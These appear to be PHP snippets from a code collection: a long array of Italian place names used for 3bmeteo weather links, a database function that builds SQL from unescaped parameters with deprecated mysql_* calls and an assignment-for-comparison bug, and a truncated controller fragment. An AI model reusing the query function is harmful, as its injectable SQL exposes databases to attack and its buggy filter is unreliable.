\"Tarvisio casello\",7164 => \"Tarzo\",7165 => \"Tassarolo\",7166 => \"Tassullo\",7167 => \"Taurano\",7168 => \"Taurasi\",7169 => \"Taurianova\",7170 => \"Taurisano\",7171 => \"Tavagnacco\",7172 => \"Tavagnasco\",7173 => \"Tavarnelle val di pesa\",7174 => \"Tavazzano con villavesco\",7175 => \"Tavenna\",7176 => \"Taverna\",7177 => \"Tavernerio\",7178 => \"Tavernola bergamasca\",7179 => \"Tavernole sul Mella\",7180 => \"Taviano\",7181 => \"Tavigliano\",7182 => \"Tavoleto\",7183 => \"Tavullia\",8362 => \"Teana\",7185 => \"Teano\",7186 => \"Teggiano\",7187 => \"Teglio\",7188 => \"Teglio veneto\",7189 => \"Telese terme\",7190 => \"Telgate\",7191 => \"Telti\",7192 => \"Telve\",7193 => \"Telve di sopra\",7194 => \"Tempio Pausania\",7195 => \"Temu'\",7196 => \"Tenna\",7197 => \"Tenno\",7198 => \"Teolo\",7199 => \"Teor\",7200 => \"Teora\",7201 => \"Teramo\",8449 => \"Teramo Val Vomano\",7202 => \"Terdobbiate\",7203 => \"Terelle\",7204 => \"Terento\",7205 => \"Terenzo\",7206 => \"Tergu\",7207 => \"Terlago\",7208 => \"Terlano\",7209 => \"Terlizzi\",8158 => \"Terme di Lurisia\",7210 => \"Terme vigliatore\",7211 => \"Termeno sulla strada del vino\",7212 => \"Termini imerese\",8133 => \"Terminillo\",7213 => \"Termoli\",7214 => \"Ternate\",7215 => \"Ternengo\",7216 => \"Terni\",7217 => \"Terno d'isola\",7218 => \"Terracina\",7219 => \"Terragnolo\",7220 => \"Terralba\",7221 => \"Terranova da Sibari\",7222 => \"Terranova dei passerini\",8379 => \"Terranova di Pollino\",7224 => \"Terranova Sappo Minulio\",7225 => \"Terranuova bracciolini\",7226 => \"Terrasini\",7227 => \"Terrassa padovana\",7228 => \"Terravecchia\",7229 => \"Terrazzo\",7230 => \"Terres\",7231 => \"Terricciola\",7232 => \"Terruggia\",7233 => \"Tertenia\",7234 => \"Terzigno\",7235 => \"Terzo\",7236 => \"Terzo d'Aquileia\",7237 => \"Terzolas\",7238 => \"Terzorio\",7239 => \"Tesero\",7240 => \"Tesimo\",7241 => \"Tessennano\",7242 => \"Testico\",7243 => \"Teti\",7244 => \"Teulada\",7245 => \"Teverola\",7246 => \"Tezze sul Brenta\",8716 => \"Tharros\",7247 => \"Thiene\",7248 => \"Thiesi\",7249 => \"Tiana\",7250 => \"Tiarno di sopra\",7251 => \"Tiarno di sotto\",7252 => \"Ticengo\",7253 => \"Ticineto\",7254 => \"Tiggiano\",7255 => \"Tiglieto\",7256 => \"Tigliole\",7257 => \"Tignale\",7258 => \"Tinnura\",7259 => \"Tione degli Abruzzi\",7260 => \"Tione di Trento\",7261 => \"Tirano\",7262 => \"Tires\",7263 => \"Tiriolo\",7264 => \"Tirolo\",8194 => \"Tirrenia\",8719 => \"Tiscali\",7265 => \"Tissi\",8422 => \"Tito\",7267 => \"Tivoli\",8451 => \"Tivoli casello\",7268 => \"Tizzano val Parma\",7269 => \"Toano\",7270 => \"Tocco caudio\",7271 => \"Tocco da Casauria\",7272 => \"Toceno\",7273 => \"Todi\",7274 => \"Toffia\",7275 => \"Toirano\",7276 => \"Tolentino\",7277 => \"Tolfa\",7278 => \"Tollegno\",7279 => \"Tollo\",7280 => \"Tolmezzo\",8423 => \"Tolve\",7282 => \"Tombolo\",7283 => \"Ton\",7284 => \"Tonadico\",7285 => \"Tonara\",7286 => \"Tonco\",7287 => \"Tonengo\",7288 => \"Tonezza del Cimone\",7289 => \"Tora e piccilli\",8132 => \"Torano\",7290 => \"Torano castello\",7291 => \"Torano nuovo\",7292 => \"Torbole casaglia\",7293 => \"Torcegno\",7294 => \"Torchiara\",7295 => \"Torchiarolo\",7296 => \"Torella dei lombardi\",7297 => \"Torella del sannio\",7298 => \"Torgiano\",7299 => \"Torgnon\",7300 => \"Torino\",8271 => \"Torino Caselle\",7301 => \"Torino di Sangro\",8494 => \"Torino di Sangro Marina\",7302 => \"Toritto\",7303 => \"Torlino Vimercati\",7304 => \"Tornaco\",7305 => \"Tornareccio\",7306 => \"Tornata\",7307 => \"Tornimparte\",8445 => \"Tornimparte casello\",7308 => \"Torno\",7309 => \"Tornolo\",7310 => \"Toro\",7311 => \"Torpe'\",7312 => \"Torraca\",7313 => \"Torralba\",7314 => \"Torrazza coste\",7315 => \"Torrazza Piemonte\",7316 => \"Torrazzo\",7317 => \"Torre Annunziata\",7318 => \"Torre Beretti e Castellaro\",7319 => \"Torre boldone\",7320 => \"Torre bormida\",7321 => \"Torre cajetani\",7322 => \"Torre canavese\",7323 => \"Torre d'arese\",7324 => \"Torre d'isola\",7325 => \"Torre de' passeri\",7326 => \"Torre de'busi\",7327 => \"Torre de'negri\",7328 => \"Torre de'picenardi\",7329 => \"Torre de'roveri\",7330 => \"Torre del greco\",7331 => \"Torre di mosto\",7332 => \"Torre di ruggiero\",7333 => \"Torre di Santa Maria\",7334 => \"Torre le nocelle\",7335 => \"Torre mondovi'\",7336 => \"Torre orsaia\",8592 => \"Torre Pali\",7337 => \"Torre pallavicina\",7338 => \"Torre pellice\",7339 => \"Torre San Giorgio\",8596 => \"Torre San Giovanni\",8595 => \"Torre San Gregorio\",7340 => \"Torre San Patrizio\",7341 => \"Torre Santa Susanna\",8593 => \"Torre Vado\",7342 => \"Torreano\",7343 => \"Torrebelvicino\",7344 => \"Torrebruna\",7345 => \"Torrecuso\",7346 => \"Torreglia\",7347 => \"Torregrotta\",7348 => \"Torremaggiore\",7349 => \"Torrenova\",7350 => \"Torresina\",7351 => \"Torretta\",7352 => \"Torrevecchia pia\",7353 => \"Torrevecchia teatina\",7354 => \"Torri del benaco\",7355 => \"Torri di quartesolo\",7356 => \"Torri in sabina\",7357 => \"Torriana\",7358 => \"Torrice\",7359 => \"Torricella\",7360 => \"Torricella del pizzo\",7361 => \"Torricella in sabina\",7362 => \"Torricella peligna\",7363 => \"Torricella sicura\",7364 => \"Torricella verzate\",7365 => \"Torriglia\",7366 => \"Torrile\",7367 => \"Torrioni\",7368 => \"Torrita di Siena\",7369 => \"Torrita tiberina\",7370 => \"Tortoli'\",7371 => \"Tortona\",7372 => \"Tortora\",7373 => \"Tortorella\",7374 => \"Tortoreto\",8601 => \"Tortoreto lido\",7375 => \"Tortorici\",8138 => \"Torvaianica\",7376 => \"Torviscosa\",7377 => \"Toscolano maderno\",7378 => \"Tossicia\",7379 => \"Tovo di Sant'Agata\",7380 => \"Tovo San Giacomo\",7381 => \"Trabia\",7382 => \"Tradate\",8214 => \"Trafoi\",7383 => \"Tramatza\",7384 => \"Trambileno\",7385 => \"Tramonti\",7386 => \"Tramonti di sopra\",7387 => \"Tramonti di sotto\",8412 => \"Tramutola\",7389 => \"Trana\",7390 => \"Trani\",7391 => \"Transacqua\",7392 => \"Traona\",7393 => \"Trapani\",8544 => \"Trapani Birgi\",7394 => \"Trappeto\",7395 => \"Trarego Viggiona\",7396 => \"Trasacco\",7397 => \"Trasaghis\",7398 => \"Trasquera\",7399 => \"Tratalias\",7400 => \"Trausella\",7401 => \"Travaco' siccomario\",7402 => \"Travagliato\",7403 => \"Travedona monate\",7404 => \"Traversella\",7405 => \"Traversetolo\",7406 => \"Traves\",7407 => \"Travesio\",7408 => \"Travo\",8187 => \"Tre fontane\",7409 => \"Trebaseleghe\",7410 => \"Trebisacce\",7411 => \"Trecasali\",7412 => \"Trecase\",7413 => \"Trecastagni\",7414 => \"Trecate\",7415 => \"Trecchina\",7416 => \"Trecenta\",7417 => \"Tredozio\",7418 => \"Treglio\",7419 => \"Tregnago\",7420 => \"Treia\",7421 => \"Treiso\",7422 => \"Tremenico\",7423 => \"Tremestieri etneo\",7424 => \"Tremezzo\",7425 => \"Tremosine\",7426 => \"Trenta\",7427 => \"Trentinara\",7428 => \"Trento\",7429 => \"Trentola-ducenta\",7430 => \"Trenzano\",8146 => \"Trepalle\",7431 => \"Treppo carnico\",7432 => \"Treppo grande\",7433 => \"Trepuzzi\",7434 => \"Trequanda\",7435 => \"Tres\",7436 => \"Tresana\",7437 => \"Trescore balneario\",7438 => \"Trescore cremasco\",7439 => \"Tresigallo\",7440 => \"Tresivio\",7441 => \"Tresnuraghes\",7442 => \"Trevenzuolo\",7443 => \"Trevi\",7444 => \"Trevi nel lazio\",7445 => \"Trevico\",7446 => \"Treviglio\",7447 => \"Trevignano\",7448 => \"Trevignano romano\",7449 => \"Treville\",7450 => \"Treviolo\",7451 => \"Treviso\",7452 => \"Treviso bresciano\",8543 => \"Treviso Sant'Angelo\",7453 => \"Trezzano rosa\",7454 => \"Trezzano sul Naviglio\",7455 => \"Trezzo sull'Adda\",7456 => \"Trezzo Tinella\",7457 => \"Trezzone\",7458 => \"Tribano\",7459 => \"Tribiano\",7460 => \"Tribogna\",7461 => \"Tricarico\",7462 => \"Tricase\",8597 => \"Tricase porto\",7463 => \"Tricerro\",7464 => \"Tricesimo\",7465 => \"Trichiana\",7466 => \"Triei\",7467 => \"Trieste\",8472 => \"Trieste Ronchi dei Legionari\",7468 => \"Triggiano\",7469 => \"Trigolo\",7470 => \"Trinita d'Agultu e Vignola\",7471 => \"Trinita'\",7472 => \"Trinitapoli\",7473 => \"Trino\",7474 => \"Triora\",7475 => \"Tripi\",7476 => \"Trisobbio\",7477 => \"Trissino\",7478 => \"Triuggio\",7479 => \"Trivento\",7480 => \"Trivero\",7481 => \"Trivigliano\",7482 => \"Trivignano udinese\",8413 => \"Trivigno\",7484 => \"Trivolzio\",7485 => \"Trodena\",7486 => \"Trofarello\",7487 => \"Troia\",7488 => \"Troina\",7489 => \"Tromello\",7490 => \"Trontano\",7491 => \"Tronzano lago maggiore\",7492 => \"Tronzano vercellese\",7493 => \"Tropea\",7494 => \"Trovo\",7495 => \"Truccazzano\",7496 => \"Tubre\",7497 => \"Tuenno\",7498 => \"Tufara\",7499 => \"Tufillo\",7500 => \"Tufino\",7501 => \"Tufo\",7502 => \"Tuglie\",7503 => \"Tuili\",7504 => \"Tula\",7505 => \"Tuoro sul trasimeno\",7506 => \"Turania\",7507 => \"Turano lodigiano\",7508 => \"Turate\",7509 => \"Turbigo\",7510 => \"Turi\",7511 => \"Turri\",7512 => \"Turriaco\",7513 => \"Turrivalignani\",8390 => \"Tursi\",7515 => \"Tusa\",7516 => \"Tuscania\",7517 => \"Ubiale Clanezzo\",7518 => \"Uboldo\",7519 => \"Ucria\",7520 => \"Udine\",7521 => \"Ugento\",7522 => \"Uggiano la chiesa\",7523 => \"Uggiate trevano\",7524 => \"Ula' Tirso\",7525 => \"Ulassai\",7526 => \"Ultimo\",7527 => \"Umbertide\",7528 => \"Umbriatico\",7529 => \"Urago d'Oglio\",7530 => \"Uras\",7531 => \"Urbana\",7532 => \"Urbania\",7533 => \"Urbe\",7534 => \"Urbino\",7535 => \"Urbisaglia\",7536 => \"Urgnano\",7537 => \"Uri\",7538 => \"Ururi\",7539 => \"Urzulei\",7540 => \"Uscio\",7541 => \"Usellus\",7542 => \"Usini\",7543 => \"Usmate Velate\",7544 => \"Ussana\",7545 => \"Ussaramanna\",7546 => \"Ussassai\",7547 => \"Usseaux\",7548 => \"Usseglio\",7549 => \"Ussita\",7550 => \"Ustica\",7551 => \"Uta\",7552 => \"Uzzano\",7553 => \"Vaccarizzo albanese\",7554 => \"Vacone\",7555 => \"Vacri\",7556 => \"Vadena\",7557 => \"Vado ligure\",7558 => \"Vagli sotto\",7559 => \"Vaglia\",8388 => \"Vaglio Basilicata\",7561 => \"Vaglio serra\",7562 => \"Vaiano\",7563 => \"Vaiano cremasco\",7564 => \"Vaie\",7565 => \"Vailate\",7566 => \"Vairano Patenora\",7567 => \"Vajont\",8511 => \"Val Canale\",7568 => \"Val della torre\",8243 => \"Val di Lei\",8237 => \"Val di Luce\",7569 => \"Val di nizza\",8440 => \"Val di Sangro casello\",7570 => \"Val di vizze\",8223 => \"Val Ferret\",8521 => \"Val Grauson\",7571 => \"Val Masino\",7572 => \"Val Rezzo\",8215 => \"Val Senales\",8522 => \"Val Urtier\",8224 => \"Val Veny\",7573 => \"Valbondione\",7574 => \"Valbrembo\",7575 => \"Valbrevenna\",7576 => \"Valbrona\",8311 => \"Valcava\",7577 => \"Valda\",7578 => \"Valdagno\",7579 => \"Valdaora\",7580 => \"Valdastico\",7581 => \"Valdengo\",7582 => \"Valderice\",7583 => \"Valdidentro\",7584 => \"Valdieri\",7585 => \"Valdina\",7586 => \"Valdisotto\",7587 => \"Valdobbiadene\",7588 => \"Valduggia\",7589 => \"Valeggio\",7590 => \"Valeggio sul Mincio\",7591 => \"Valentano\",7592 => \"Valenza\",7593 => \"Valenzano\",7594 => \"Valera fratta\",7595 => \"Valfabbrica\",7596 => \"Valfenera\",7597 => \"Valfloriana\",7598 => \"Valfurva\",7599 => \"Valganna\",7600 => \"Valgioie\",7601 => \"Valgoglio\",7602 => \"Valgrana\",7603 => \"Valgreghentino\",7604 => \"Valgrisenche\",7605 => \"Valguarnera caropepe\",8344 => \"Valico Citerna\",8510 => \"Valico dei Giovi\",8318 => \"Valico di Monforte\",8509 => \"Valico di Montemiletto\",8507 => \"Valico di Scampitella\",7606 => \"Vallada agordina\",7607 => \"Vallanzengo\",7608 => \"Vallarsa\",7609 => \"Vallata\",7610 => \"Valle agricola\",7611 => \"Valle Aurina\",7612 => \"Valle castellana\",8444 => \"Valle del salto\",7613 => \"Valle dell'Angelo\",7614 => \"Valle di Cadore\",7615 => \"Valle di Casies\",7616 => \"Valle di maddaloni\",7617 => \"Valle lomellina\",7618 => \"Valle mosso\",7619 => \"Valle salimbene\",7620 => \"Valle San Nicolao\",7621 => \"Vallebona\",7622 => \"Vallecorsa\",7623 => \"Vallecrosia\",7624 => \"Valledolmo\",7625 => \"Valledoria\",7626 => \"Vallefiorita\",7627 => \"Vallelonga\",7628 => \"Vallelunga pratameno\",7629 => \"Vallemaio\",7630 => \"Vallepietra\",7631 => \"Vallerano\",7632 => \"Vallermosa\",7633 => \"Vallerotonda\",7634 => \"Vallesaccarda\",8749 => \"Valletta\",7635 => \"Valleve\",7636 => \"Valli del Pasubio\",7637 => \"Vallinfreda\",7638 => \"Vallio terme\",7639 => \"Vallo della Lucania\",7640 => \"Vallo di Nera\",7641 => \"Vallo torinese\",8191 => \"Vallombrosa\",8471 => \"Vallon\",7642 => \"Valloriate\",7643 => \"Valmacca\",7644 => \"Valmadrera\",7645 => \"Valmala\",8313 => \"Valmasino\",7646 => \"Valmontone\",7647 => \"Valmorea\",7648 => \"Valmozzola\",7649 => \"Valnegra\",7650 => \"Valpelline\",7651 => \"Valperga\",7652 => \"Valprato Soana\",7653 => \"Valsavarenche\",7654 => \"Valsecca\",7655 => \"Valsinni\",7656 => \"Valsolda\",7657 => \"Valstagna\",7658 => \"Valstrona\",7659 => \"Valtopina\",7660 => \"Valtorta\",8148 => \"Valtorta impianti\",7661 => \"Valtournenche\",7662 => \"Valva\",7663 => \"Valvasone\",7664 => \"Valverde\",7665 => \"Valverde\",7666 => \"Valvestino\",7667 => \"Vandoies\",7668 => \"Vanzaghello\",7669 => \"Vanzago\",7670 => \"Vanzone con San Carlo\",7671 => \"Vaprio d'Adda\",7672 => \"Vaprio d'Agogna\",7673 => \"Varallo\",7674 => \"Varallo Pombia\",7675 => \"Varano Borghi\",7676 => \"Varano de' Melegari\",7677 => \"Varapodio\",7678 => \"Varazze\",8600 => \"Varcaturo\",7679 => \"Varco sabino\",7680 => \"Varedo\",7681 => \"Varena\",7682 => \"Varenna\",7683 => \"Varese\",7684 => \"Varese ligure\",8284 => \"Varigotti\",7685 => \"Varisella\",7686 => \"Varmo\",7687 => \"Varna\",7688 => \"Varsi\",7689 => \"Varzi\",7690 => \"Varzo\",7691 => \"Vas\",7692 => \"Vasanello\",7693 => \"Vasia\",7694 => \"Vasto\",7695 => \"Vastogirardi\",7696 => \"Vattaro\",7697 => \"Vauda canavese\",7698 => \"Vazzano\",7699 => \"Vazzola\",7700 => \"Vecchiano\",7701 => \"Vedano al Lambro\",7702 => \"Vedano Olona\",7703 => \"Veddasca\",7704 => \"Vedelago\",7705 => \"Vedeseta\",7706 => \"Veduggio con Colzano\",7707 => \"Veggiano\",7708 => \"Veglie\",7709 => \"Veglio\",7710 => \"Vejano\",7711 => \"Veleso\",7712 => \"Velezzo lomellina\",8530 => \"Vellano\",7713 => \"Velletri\",7714 => \"Vellezzo Bellini\",7715 => \"Velo d'Astico\",7716 => \"Velo veronese\",7717 => \"Velturno\",7718 => \"Venafro\",7719 => \"Venaria\",7720 => \"Venarotta\",7721 => \"Venasca\",7722 => \"Venaus\",7723 => \"Vendone\",7724 => \"Vendrogno\",7725 => \"Venegono inferiore\",7726 => \"Venegono superiore\",7727 => \"Venetico\",7728 => \"Venezia\",8502 => \"Venezia Mestre\",8268 => \"Venezia Tessera\",7729 => \"Veniano\",7730 => \"Venosa\",7731 => \"Venticano\",7732 => \"Ventimiglia\",7733 => \"Ventimiglia di Sicilia\",7734 => \"Ventotene\",7735 => \"Venzone\",7736 => \"Verano\",7737 => \"Verano brianza\",7738 => \"Verbania\",7739 => \"Verbicaro\",7740 => \"Vercana\",7741 => \"Verceia\",7742 => \"Vercelli\",7743 => \"Vercurago\",7744 => \"Verdellino\",7745 => \"Verdello\",7746 => \"Verderio inferiore\",7747 => \"Verderio superiore\",7748 => \"Verduno\",7749 => \"Vergato\",7750 => \"Vergemoli\",7751 => \"Verghereto\",7752 => \"Vergiate\",7753 => \"Vermezzo\",7754 => \"Vermiglio\",8583 => \"Vernago\",7755 => \"Vernante\",7756 => \"Vernasca\",7757 => \"Vernate\",7758 => \"Vernazza\",7759 => \"Vernio\",7760 => \"Vernole\",7761 => \"Verolanuova\",7762 => \"Verolavecchia\",7763 => \"Verolengo\",7764 => \"Veroli\",7765 => \"Verona\",8269 => \"Verona Villafranca\",7766 => \"Veronella\",7767 => \"Verrayes\",7768 => \"Verres\",7769 => \"Verretto\",7770 => \"Verrone\",7771 => \"Verrua po\",7772 => \"Verrua Savoia\",7773 => \"Vertemate con Minoprio\",7774 => \"Vertova\",7775 => \"Verucchio\",7776 => \"Veruno\",7777 => \"Vervio\",7778 => \"Vervo'\",7779 => \"Verzegnis\",7780 => \"Verzino\",7781 => \"Verzuolo\",7782 => \"Vescovana\",7783 => \"Vescovato\",7784 => \"Vesime\",7785 => \"Vespolate\",7786 => \"Vessalico\",7787 => \"Vestenanova\",7788 => \"Vestigne'\",7789 => \"Vestone\",7790 => \"Vestreno\",7791 => \"Vetralla\",7792 => \"Vetto\",7793 => \"Vezza d'Alba\",7794 => \"Vezza d'Oglio\",7795 => \"Vezzano\",7796 => \"Vezzano ligure\",7797 => \"Vezzano sul crostolo\",7798 => \"Vezzi portio\",8317 => \"Vezzo\",7799 => \"Viadana\",7800 => \"Viadanica\",7801 => \"Viagrande\",7802 => \"Viale\",7803 => \"Vialfre'\",7804 => \"Viano\",7805 => \"Viareggio\",7806 => \"Viarigi\",8674 => \"Vibo Marina\",7807 => \"Vibo Valentia\",7808 => \"Vibonati\",7809 => \"Vicalvi\",7810 => \"Vicari\",7811 => \"Vicchio\",7812 => \"Vicenza\",7813 => \"Vico canavese\",7814 => \"Vico del Gargano\",7815 => \"Vico Equense\",7816 => \"Vico nel Lazio\",7817 => \"Vicoforte\",7818 => \"Vicoli\",7819 => \"Vicolungo\",7820 => \"Vicopisano\",7821 => \"Vicovaro\",7822 => \"Viddalba\",7823 => \"Vidigulfo\",7824 => \"Vidor\",7825 => \"Vidracco\",7826 => \"Vieste\",7827 => \"Vietri di Potenza\",7828 => \"Vietri sul mare\",7829 => \"Viganella\",7830 => \"Vigano San Martino\",7831 => \"Vigano'\",7832 => \"Vigarano Mainarda\",7833 => \"Vigasio\",7834 => \"Vigevano\",7835 => \"Viggianello\",7836 => \"Viggiano\",7837 => \"Viggiu'\",7838 => \"Vighizzolo d'Este\",7839 => \"Vigliano biellese\",7840 => \"Vigliano d'Asti\",7841 => \"Vignale monferrato\",7842 => \"Vignanello\",7843 => \"Vignate\",8125 => \"Vignola\",7845 => \"Vignola Falesina\",7846 => \"Vignole Borbera\",7847 => \"Vignolo\",7848 => \"Vignone\",8514 => \"Vigo Ciampedie\",7849 => \"Vigo di Cadore\",7850 => \"Vigo di Fassa\",7851 => \"Vigo Rendena\",7852 => \"Vigodarzere\",7853 => \"Vigolo\",7854 => \"Vigolo Vattaro\",7855 => \"Vigolzone\",7856 => \"Vigone\",7857 => \"Vigonovo\",7858 => \"Vigonza\",7859 => \"Viguzzolo\",7860 => \"Villa agnedo\",7861 => \"Villa bartolomea\",7862 => \"Villa basilica\",7863 => \"Villa biscossi\",7864 => \"Villa carcina\",7865 => \"Villa castelli\",7866 => \"Villa celiera\",7867 => \"Villa collemandina\",7868 => \"Villa cortese\",7869 => \"Villa d'Adda\",7870 => \"Villa d'Alme'\",7871 => \"Villa d'Ogna\",7872 => \"Villa del bosco\",7873 => \"Villa del conte\",7874 => \"Villa di briano\",7875 => \"Villa di Chiavenna\",7876 => \"Villa di Serio\",7877 => \"Villa di Tirano\",7878 => \"Villa Estense\",7879 => \"Villa Faraldi\",7880 => \"Villa Guardia\",7881 => \"Villa Lagarina\",7882 => \"Villa Latina\",7883 => \"Villa Literno\",7884 => \"Villa minozzo\",7885 => \"Villa poma\",7886 => \"Villa rendena\",7887 => \"Villa San Giovanni\",7888 => \"Villa San Giovanni in Tuscia\",7889 => \"Villa San Pietro\",7890 => \"Villa San Secondo\",7891 => \"Villa Sant'Angelo\",7892 => \"Villa Sant'Antonio\",7893 => \"Villa Santa Lucia\",7894 => \"Villa Santa Lucia degli Abruzzi\",7895 => \"Villa Santa Maria\",7896 => \"Villa Santina\",7897 => \"Villa Santo Stefano\",7898 => \"Villa verde\",7899 => \"Villa vicentina\",7900 => \"Villabassa\",7901 => \"Villabate\",7902 => \"Villachiara\",7903 => \"Villacidro\",7904 => \"Villadeati\",7905 => \"Villadose\",7906 => \"Villadossola\",7907 => \"Villafalletto\",7908 => \"Villafranca d'Asti\",7909 => \"Villafranca di Verona\",7910 => \"Villafranca in Lunigiana\",7911 => \"Villafranca padovana\",7912 => \"Villafranca Piemonte\",7913 => \"Villafranca sicula\",7914 => \"Villafranca tirrena\",7915 => \"Villafrati\",7916 => \"Villaga\",7917 => \"Villagrande Strisaili\",7918 => \"Villalago\",7919 => \"Villalba\",7920 => \"Villalfonsina\",7921 => \"Villalvernia\",7922 => \"Villamagna\",7923 => \"Villamaina\",7924 => \"Villamar\",7925 => \"Villamarzana\",7926 => \"Villamassargia\",7927 => \"Villamiroglio\",7928 => \"Villandro\",7929 => \"Villanova biellese\",7930 => \"Villanova canavese\",7931 => \"Villanova d'Albenga\",7932 => \"Villanova d'Ardenghi\",7933 => \"Villanova d'Asti\",7934 => \"Villanova del Battista\",7935 => \"Villanova del Ghebbo\",7936 => \"Villanova del Sillaro\",7937 => \"Villanova di Camposampiero\",7938 => \"Villanova marchesana\",7939 => \"Villanova Mondovi'\",7940 => \"Villanova Monferrato\",7941 => \"Villanova Monteleone\",7942 => \"Villanova solaro\",7943 => \"Villanova sull'Arda\",7944 => \"Villanova Truschedu\",7945 => \"Villanova Tulo\",7946 => \"Villanovaforru\",7947 => \"Villanovafranca\",7948 => \"Villanterio\",7949 => \"Villanuova sul Clisi\",7950 => \"Villaperuccio\",7951 => \"Villapiana\",7952 => \"Villaputzu\",7953 => \"Villar dora\",7954 => \"Villar focchiardo\",7955 => \"Villar pellice\",7956 => \"Villar Perosa\",7957 => \"Villar San Costanzo\",7958 => \"Villarbasse\",7959 => \"Villarboit\",7960 => \"Villareggia\",7961 => \"Villaricca\",7962 => \"Villaromagnano\",7963 => \"Villarosa\",7964 => \"Villasalto\",7965 => \"Villasanta\",7966 => \"Villasimius\",7967 => \"Villasor\",7968 => \"Villaspeciosa\",7969 => \"Villastellone\",7970 => \"Villata\",7971 => \"Villaurbana\",7972 => \"Villavallelonga\",7973 => \"Villaverla\",7974 => \"Villeneuve\",7975 => \"Villesse\",7976 => \"Villetta Barrea\",7977 => \"Villette\",7978 => \"Villimpenta\",7979 => \"Villongo\",7980 => \"Villorba\",7981 => \"Vilminore di scalve\",7982 => \"Vimercate\",7983 => \"Vimodrone\",7984 => \"Vinadio\",7985 => \"Vinchiaturo\",7986 => \"Vinchio\",7987 => \"Vinci\",7988 => \"Vinovo\",7989 => \"Vinzaglio\",7990 => \"Viola\",7991 => \"Vione\",7992 => \"Vipiteno\",7993 => \"Virgilio\",7994 => \"Virle Piemonte\",7995 => \"Visano\",7996 => \"Vische\",7997 => \"Visciano\",7998 => \"Visco\",7999 => \"Visone\",8000 => \"Visso\",8001 => \"Vistarino\",8002 => \"Vistrorio\",8003 => \"Vita\",8004 => \"Viterbo\",8005 => \"Viticuso\",8006 => \"Vito d'Asio\",8007 => \"Vitorchiano\",8008 => \"Vittoria\",8009 => \"Vittorio Veneto\",8010 => \"Vittorito\",8011 => \"Vittuone\",8012 => \"Vitulano\",8013 => \"Vitulazio\",8014 => \"Viu'\",8015 => \"Vivaro\",8016 => \"Vivaro romano\",8017 => \"Viverone\",8018 => \"Vizzini\",8019 => \"Vizzola Ticino\",8020 => \"Vizzolo Predabissi\",8021 => \"Vo'\",8022 => \"Vobarno\",8023 => \"Vobbia\",8024 => \"Vocca\",8025 => \"Vodo cadore\",8026 => \"Voghera\",8027 => \"Voghiera\",8028 => \"Vogogna\",8029 => \"Volano\",8030 => \"Volla\",8031 => \"Volongo\",8032 => \"Volpago del montello\",8033 => \"Volpara\",8034 => \"Volpedo\",8035 => \"Volpeglino\",8036 => \"Volpiano\",8037 => \"Volta mantovana\",8038 => \"Voltaggio\",8039 => \"Voltago agordino\",8040 => \"Volterra\",8041 => \"Voltido\",8042 => \"Volturara Appula\",8043 => \"Volturara irpina\",8044 => \"Volturino\",8045 => \"Volvera\",8046 => \"Vottignasco\",8181 => \"Vulcano Porto\",8047 => \"Zaccanopoli\",8048 => \"Zafferana etnea\",8049 => \"Zagarise\",8050 => \"Zagarolo\",8051 => \"Zambana\",8707 => \"Zambla\",8052 => \"Zambrone\",8053 => \"Zandobbio\",8054 => \"Zane'\",8055 => \"Zanica\",8056 => \"Zapponeta\",8057 => \"Zavattarello\",8058 => \"Zeccone\",8059 => \"Zeddiani\",8060 => \"Zelbio\",8061 => \"Zelo Buon Persico\",8062 => \"Zelo Surrigone\",8063 => \"Zeme\",8064 => \"Zenevredo\",8065 => \"Zenson di Piave\",8066 => \"Zerba\",8067 => \"Zerbo\",8068 => \"Zerbolo'\",8069 => \"Zerfaliu\",8070 => \"Zeri\",8071 => \"Zermeghedo\",8072 => \"Zero Branco\",8073 => \"Zevio\",8455 => \"Ziano di Fiemme\",8075 => \"Ziano piacentino\",8076 => \"Zibello\",8077 => \"Zibido San Giacomo\",8078 => \"Zignago\",8079 => \"Zimella\",8080 => \"Zimone\",8081 => \"Zinasco\",8082 => \"Zoagli\",8083 => \"Zocca\",8084 => \"Zogno\",8085 => \"Zola Predosa\",8086 => \"Zoldo alto\",8087 => \"Zollino\",8088 => \"Zone\",8089 => \"Zoppe' di cadore\",8090 => \"Zoppola\",8091 => \"Zovencedo\",8092 => \"Zubiena\",8093 => \"Zuccarello\",8094 => \"Zuclo\",8095 => \"Zugliano\",8096 => \"Zuglio\",8097 => \"Zumaglia\",8098 => \"Zumpano\",8099 => \"Zungoli\",8100 => \"Zungri\");\n\t$return = '<br/><a href=\"https://www.3bmeteo.com'.strtolower($trebi_url_locs[$idloc]).'\" style=\"font-size:10px;\">Meteo '.$trebi_locs[$idloc].'</a>';\n\treturn $return;\n}", "function imagenes_por_palabra_y_tipo_imagen($id_palabra,$registrado,$estado,$id_tipo_imagen) {\n\t\n\t\tif ($registrado==false) {\n\t\t\t$mostrar_registradas=\"AND imagenes.registrado=0\";\n\t\t}\n\t\t\n\t\tif ($estado !='' && $estado < 4 && $estado > 0) {\n\t\t\t$sql_estado='AND imagenes.estado='.$estado.'';\n\t\t} elseif ($estado='all') {\n\t\t\t$sql_estado='';\n\t\t} else {\n\t\t\t$sql_estado='AND imagenes.estado=1';\n\t\t}\n\t\t\n\t\tif ($id_tipo_imagen==99) { $sql_tipo_imagen=''; } \n\t\telse { $sql_tipo_imagen='AND imagenes.id_tipo_imagen='.$id_tipo_imagen.''; }\n\t\t\n\t\t$query = \"SELECT palabra_imagen.*,\n\t\timagenes.id_imagen,imagenes.id_colaborador,imagenes.imagen,imagenes.extension,imagenes.id_tipo_imagen,\n\t\timagenes.estado,imagenes.registrado,imagenes.id_licencia,imagenes.id_autor,imagenes.tags_imagen,\n\t\timagenes.tipo_pictograma,imagenes.validos_senyalectica,imagenes.original_filename\n\t\tFROM palabra_imagen, imagenes\n\t\tWHERE palabra_imagen.id_palabra='$id_palabra'\n\t\tAND palabra_imagen.id_imagen=imagenes.id_imagen\n\t\t$sql_tipo_imagen\n\t\t$mostrar_registradas\n\t\t$sql_estado\";\n\n $connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD);\n\t\t\n\t\t$SelectedDB = mysql_select_db($this->DBNAME);\n\t\t$result = mysql_query($query); \n\t\t\n\t\t$numrows = mysql_num_rows($result);\n\t\tmysql_close($connection);\n\t\t// COMPROBAMOS QUE HAYA RESULTADOS\n\t\t// SI EL NUMERO DE RESULTADOS ES 0 SIGNIFICA QUE NO HAY REGISTROS CON ESOS DATOS\n\t\tif ($numrows == 0) {\n\t\t\treturn $result;\n\t\t}\n\t\telse {\n\t\t\treturn $result;\n\t\t}\n\t}", "public function crear() {\n\t\t$this->load->model('pais_model');\n\t\t$datos['body']['paises'] = $this->pais_model-> 